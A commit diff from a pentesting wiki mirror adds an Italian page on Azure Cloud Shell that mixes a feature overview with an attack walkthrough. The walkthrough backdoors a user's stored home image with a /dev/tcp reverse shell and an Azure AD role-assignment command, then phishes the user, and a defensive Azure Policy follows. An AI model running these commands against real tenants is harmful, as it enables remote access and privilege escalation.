mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,24 +4,113 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser, progettato per gestire le risorse di Azure, offrendo la flessibilità di lavorare con Bash o PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile di Azure e l'estensione Azure Account di Visual Studio Code.
|
||||
**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser, progettato per gestire le risorse di Azure, offrendo la flessibilità di lavorare sia con Bash che con PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile di Azure e l'estensione Azure Account di Visual Studio Code.
|
||||
|
||||
Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di escalation dei privilegi. Inoltre, non c'è alcun tipo di enumerazione.
|
||||
|
||||
### Caratteristiche principali
|
||||
|
||||
**Ambiente**: Azure Cloud Shell fornisce un ambiente sicuro eseguendo su Azure Linux, la distribuzione Linux di Microsoft progettata per l'infrastruttura cloud. Tutti i pacchetti inclusi nel repository Azure Linux sono compilati internamente da Microsoft per proteggere contro attacchi alla catena di fornitura.
|
||||
**Strumenti preinstallati**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
|
||||
**Persistenza $HOME**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come un file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati delle macchine non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
|
||||
**Drive Azure (Azure:)**: PowerShell in Azure Cloud Shell include il drive Azure (Azure:), che consente una navigazione facile delle risorse Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa al drive Azure con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
|
||||
**Installazione di strumenti personalizzati**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, consentendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
|
||||
- **Strumenti preinstallati**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
|
||||
- **Drive Azure (Azure:)**: PowerShell in Azure Cloud Shell include il drive Azure (Azure:), che consente una navigazione facile delle risorse di Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa al drive Azure con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
|
||||
- **Installazione di strumenti personalizzati**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, permettendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
|
||||
- **Persistenza di $HOME**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato.
|
||||
- Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione.
|
||||
- Per mantenere i file tra le sessioni, ti viene data l'opzione di **montare un account di archiviazione**, che si allega automaticamente come `$HOME\clouddrive`, con la tua directory `$HOME` **salvata come file .img in una condivisione di file.**
|
||||
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Se un attaccante trova le immagini di altri utenti in un Account di Archiviazione a cui ha accesso in scrittura e lettura, sarà in grado di scaricare l'immagine, **aggiungere un backdoor bash e PS in essa**, e caricarla nuovamente nell'Account di Archiviazione in modo che la prossima volta che l'utente accede alla shell, i **comandi verranno eseguiti automaticamente**.
|
||||
|
||||
- **Scarica, backdoor e carica l'immagine:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Quindi, phishing l'utente per accedere a https://shell.azure.com/**
|
||||
|
||||
|
||||
### Trova e vieta gli account di archiviazione automatici di Cloud Shell
|
||||
|
||||
Gli account di archiviazione creati da Cloud Shell sono contrassegnati con **`ms-resource-usage:azure-cloud-shell`**. È possibile creare una politica delle risorse di Azure che disabilita la creazione di risorse con questo tag.
|
||||
|
||||
Trova tutti gli account di archiviazione creati da Cloud Shell per tag:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Politica per vietare la creazione di account di archiviazione automatici per l'archiviazione della shell cloud basata su tag:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Persistenza
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user